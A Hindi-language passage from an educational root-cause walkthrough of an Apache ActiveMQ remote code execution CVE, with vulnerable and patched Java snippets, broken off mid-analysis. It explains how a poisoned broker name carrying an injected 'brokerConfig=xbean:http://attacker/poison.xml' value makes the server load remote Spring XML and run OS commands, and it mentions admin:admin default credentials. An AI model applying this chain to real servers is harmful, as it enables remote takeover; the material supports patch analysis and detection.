
# CVE-2026-41044 के लिए शैक्षिक वॉकथ्रू और प्रूफ-ऑफ-कॉन्सेप्ट, एक Apache ActiveMQ RCE, जिसमें रूट-कॉज़ विश्लेषण और डिटेक्शन स्क्रिप्ट शामिल है।
नोट: केवल शैक्षिक उद्देश्यों के लिए
CVE-2026-41044 का खुलासा 24 अप्रैल, 2026 को हुआ था। यह Apache ActiveMQ Classic में एक रिमोट कोड एक्ज़ीक्यूशन बग है, जिसे jsjcw ने खोजा था, और 5.19.6 और 6.2.5 में पैच किया गया था। मैंने इसे नहीं खोजा।
मैं जो दिखाना चाहता हूँ वह यह है कि जिसने कभी ActiveMQ को नहीं छुआ हो, वह एक दोपहर में N-day का कार्यशील एक्सप्लॉइट कैसे बना सकता है, क्योंकि पैच किया गया कोड सार्वजनिक है, बिना पैच वाला कोड सार्वजनिक है, और उनके बीच का अंतर एक git diff की दूरी पर है।
प्रक्रिया सरल है:
जो पहले दिनों में होता था, अब एक दोपहर में हो जाता है। AI बग नहीं खोजता। यह कोड पढ़ता है और उसे उतनी ही तेज़ी से समझाता है जितनी तेज़ी से आप प्रश्न पूछ सकते हैं। महंगा हिस्सा अभी भी आप हैं: यह तय करना कि वास्तव में क्या एक्सप्लॉइट करने योग्य है, वास्तविक ट्रस्ट सीमाएँ कहाँ हैं, क्या सत्यापित करने की आवश्यकता है। मॉडल केवल किसी भी इंसान की तुलना में कॉल ग्राफ़ तेज़ी से चलता है।
बड़ी बात: यदि आपकी पैचिंग कार्यप्रणाली प्रति CVE एक सप्ताह के विश्लेषण समय की मानती है, तो आप पुरानी समयरेखा पर हैं। git diff की लंबाई समान है चाहे आप डिटेक्शन लिख रहे हों या एक्सप्लॉइट।
ActiveMQ एक मैसेज ब्रोकर है। यह बीच में बैठता है और अनुप्रयोगों के बीच संदेश पास करता है। इसे एक डाकघर की तरह समझें: ऐप्स संदेश छोड़ते हैं, ActiveMQ उन्हें सही प्राप्तकर्ता तक पहुँचाता है। यह एंटरप्राइज़ Java स्टैक में व्यापक रूप से तैनात है और एक वेब कंसोल और Jolokia नामक एक REST प्रबंधन API को /api/jolokia/ पर उजागर करता है। कई तैनातियों में डिफ़ॉल्ट क्रेडेंशियल अभी भी admin:admin हैं।
ActiveMQ ने किसी भी प्रमाणित उपयोगकर्ता को एक मनमाने HTTP URL से ब्रोकर कॉन्फ़िगरेशन लोड करने की अनुमति दी, जिसे Spring पार्स करेगा और तुरंत Java ऑब्जेक्ट के रूप में निष्पादित करेगा - जिसमें ProcessBuilder भी शामिल है - जिससे हमलावर को ब्रोकर सर्वर पर पूर्ण OS कमांड निष्पादन मिल जाता है।
localhost।/api/jolokia/ पर एक HTTP-से-JMX ब्रिज जो प्रबंधन संचालन को REST API के रूप में उजागर करता है। कोई भी मान्य वेब कंसोल क्रेडेंशियल उस तक पहुँचता है - केवल एडमिन ही नहीं।vm:// ट्रांसपोर्ट: इन-प्रोसेस ट्रांसपोर्ट जिसका उपयोग तब किया जाता है जब कोई क्लाइंट ब्रोकर के समान JVM में रहता है। यह एक ?brokerConfig= क्वेरी पैरामीटर स्वीकार करता है जो ब्रोकर को बूटस्ट्रैप करने के लिए एक Spring XML कॉन्फ़िगरेशन की ओर इशारा करता है।xbean:: एक URL स्कीम जो ActiveMQ को बताती है कि URL को Spring XML कॉन्फ़िगरेशन के रूप में मानें और लोड करें।init-method: Spring XML पढ़ता है और स्वचालित रूप से Java ऑब्जेक्ट (बीन्स) बनाता है। init-method विशेषता Spring को बताती है कि बीन बनते ही उस पर एक मेथड कॉल करें - कुछ और चलने से पहले।ProcessBuilder: एक मानक Java क्लास जो OS कमांड चलाती है। ProcessBuilder.start() कमांड निष्पादित करता है।5.19.2 में DestinationView.sendTextMessage() ब्रोकर नाम को सीधे एक स्ट्रिंग में संयोजित करके एक ब्रोकर कनेक्शन URL बनाता है:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
यदि getBrokerName() localhost?brokerConfig=xbean:http://attacker/poison.xml लौटाता है, तो वह पूरी स्ट्रिंग एक एम्बेडेड क्वेरी पैरामीटर के साथ एक मान्य vm:// URI बन जाती है। ActiveMQConnectionFactory इसे VMTransportFactory को सौंपता है, जो brokerConfig पैरामीटर को निकालता है और इसे ब्रोकर के बूटस्ट्रैप कॉन्फ़िगरेशन URL के रूप में उपयोग करता है।
5.19.6 में फिक्स एक पंक्ति है:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String URI बन जाता है - आकस्मिक संयोजन अब संभव नहीं है। मान ब्रोकर के वास्तविक पंजीकृत VM कनेक्टर से प्राप्त एक पूर्व-निर्मित, अपरिवर्तनीय URI ऑब्जेक्ट से आता है, न कि एक परिवर्तनीय नाम स्ट्रिंग से।
परत 1 के एक्सप्लॉइट करने योग्य होने के लिए, ब्रोकर नाम को पहले विषाक्त करना होगा। BrokerService ने हमेशा ब्रोकर नामों को सैनिटाइज़ किया है:
// BrokerService.setBrokerName() - दोनों संस्करणों में मौजूद
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
वह regex ? और = को साफ़-साफ़ हटा देता है। CVE इसलिए मौजूद था क्योंकि RegionBroker का अपना अलग सेटर था जो ऐसा नहीं करता था:
// 5.19.2 - RegionBroker.java
private String brokerName; // परिवर्तनीय
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // कोई सत्यापन नहीं
}
यह एक क्लासिक कन्फ्यूज़्ड डेप्युटी है - संबंधित क्लासों पर दो सेटर, उनमें से केवल एक सैनिटाइज़ करता है। एक रिमोट पीयर जो विषाक्त नाम फ़ील्ड के साथ एक निर्मित BrokerInfo पैकेट प्रसारित करता है, सीधे RegionBroker.setBrokerName() तक पहुँचता है, जो BrokerService के regex को पूरी तरह से बायपास करता है।
5.19.6 में फिक्स सेटर को हटा देता है, फ़ील्ड को final बनाता है, और इसे पहले से सैनिटाइज़ किए गए पैरेंट से एक बार प्रारंभ करता है:
// 5.19.6 - RegionBroker.java
private final String brokerName; // अपरिवर्तनीय
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() हटा दिया गया है। अब कोई सेटर नहीं है।
}
आप उस सैनिटाइज़र को बायपास नहीं कर सकते जिसका कोई समानांतर लेखक नहीं है।
VMTransportFactory.doCompositeConnect() वह फ़ंक्शन है जो vm://...?brokerConfig=... URI लेता है, brokerConfig पैरामीटर निकालता है, और BrokerFactory.createBroker(brokerURI) को कॉल करता है। यह पूरी श्रृंखला का ट्रिगर तंत्र है।
Apache ने यहाँ बिल्कुल कुछ नहीं बदला।
वह विकल्प आपको बताता है कि उन्होंने फिक्स के बारे में कैसे सोचा। VMTransportFactory वैध कार्य कर रहा है - vm:// ट्रांसपोर्ट वास्तव में बूटस्ट्रैप कॉन्फ़िगरेशन स्वीकार करने वाले होते हैं। इसे पैच करना इच्छित डिज़ाइन को तोड़ देता। इसके बजाय, Apache ने बग को स्रोत (परत 2: कोई विषाक्त नाम नहीं लिखा जा सकता) और सिंक (परत 5: भले ही एक विषाक्त URL आ जाए, संसाधन रिज़ॉल्वर इसे प्राप्त नहीं करेगा) पर ठीक किया।
उन परतों को ठीक करें जहाँ सत्यापन का संबंध है, उस परत को नहीं जहाँ से हमलावर गुज़रा।
// XBeanBrokerFactory - दोनों संस्करणों में समान
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // परत 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) वह जगह है जहाँ Spring अपना काम करता है - हर बीन का init-method कॉन्टेक्स्ट निर्माण पर चलता है, ActiveMQ का BrokerService परिणाम को सत्यापित करने से पहले। यहाँ पैच करने के लिए कुछ नहीं है। Spring का अनुबंध डिज़ाइन के अनुसार सही है। बग यह था कि ActiveMQ ने इंस्टेंटिएशन से पहले सत्यापन होने पर भरोसा किया, और Spring उस क्रम का वादा नहीं करता।
यह वह फ़ंक्शन है जिसने तय किया कि xbean:http://attacker/poison.xml प्राप्त किया जाना चाहिए या नहीं। 5.19.2 में: